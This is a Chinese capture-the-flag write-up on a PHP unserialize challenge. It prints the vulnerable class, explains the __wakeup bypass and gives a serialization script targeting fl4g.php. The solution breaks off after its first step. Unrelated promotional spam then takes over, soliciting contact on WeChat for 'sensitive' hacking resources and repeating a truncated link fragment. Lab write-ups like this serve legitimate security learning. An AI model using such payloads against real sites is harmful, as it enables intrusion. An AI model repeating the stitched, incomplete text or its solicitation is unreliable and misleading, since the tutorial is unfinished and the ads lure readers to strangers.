一、题目概览
解析php代码,可以看出是php反序列化漏洞的题
<?php class Demo { //一个类 private $file = 'index.php'; //私有变量,本题需要注意的细节 public function __construct($file) { //构造函数 $this->file = $file; } function __destruct() { //析构函数 echo @highlight_file($this->file, true); } function __wakeup() { //绕过wakeup函数 if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } if (isset($_GET['var'])) { //检查是否通过get方式传参 $var = base64_decode($_GET['var']); //将var通过base64编码 if (preg_match('/[oc]:\d+:/i', $var)) { //正则匹配 die('stop hacking!'); } else { @unserialize($var); } } else { highlight_file("index.php"); } ?>思路:构造参数使fl4g.php层层伪装,最后通过get方式将参数赋值给var,便可得到flag
二、基础知识
1、魔术函数
_construct 构造函数,实例化对象使自动调用该函数
_destruct析构函数,该函数会在类的一个对象被删除时自动调用。
_wakeup函数,在反序列化之前调用该函数,但是如果序列化字符串中表示对象属性个数的值大于真实的属性个数时就会跳过_wakeup函数。
2、常见php函数
str_replace函数,替换字符串(区分大小写),后面会用到来写php脚本
preg_match正则匹配函数,用于匹配字符串中是否有特定字符
三、解题步骤
要想得到fl4g.php,需要满足以下条件:
1、绕过preg_match函数
if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var);
}
首先将字符串"fl4g.php"序列化,可以直接手写,也可以用php脚本来执行
脚本如下:
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } $A=new Demo("fl4g.php"); $C=serialize($A); echo $C; ?>得到的结果:
可以看到的是,序列化之后的结果有两个特殊字符,这是由于file是private属性的,序列化之后会在其前后有空格,即%00,protect属性的变量也类似。
我们看看上面fl4g.php序列化的结果:
O:4:"Demo"
:这部分表示一个对象,其类名为"Demo"。对象序列化的长度为4。:1:
:表示这个对象有1个属性或成员。{s:10:" Demo file";s:8:"fl4g.php";}
:这是对象的成员。
s:10:" Demo file"
:表示一个字符串,长度为10,内容为" Demo file"。s:8:"fl4g.php"
:表示另一个字符串,长度为8,内容为"fl4g.php"。
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新
如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!
王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。
对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!
【完整版领取方式在文末!!】
93道网络安全面试题
内容实在太多,不一一截图了
黑客学习资源推荐
最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
😝朋友们如果有需要的话,可以联系领取~
1️⃣零基础入门
① 学习路线
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
② 路线对应学习视频
同时每个成长路线对应的板块都有配套的视频提供:
2️⃣视频配套工具&国内外网安书籍、文档
① 工具
② 视频
③ 书籍
资源较为敏感,未展示全面,需要的最下面获取
② 简历模板
因篇幅有限,资料较为敏感仅展示部分资料,添加上方即可获取👆
一个人可以走的很快,但一群人才能走的更远。如果你从事以下工作或对以下感兴趣,欢迎戳这里加入程序员的圈子,让我们一起学习成长!
AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算
更远。如果你从事以下工作或对以下感兴趣,欢迎戳这里加入程序员的圈子,让我们一起学习成长!**](https://bbs.csdn.net/forums/4304bb5a486d4c3ab8389e65ecb71ac0)
AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算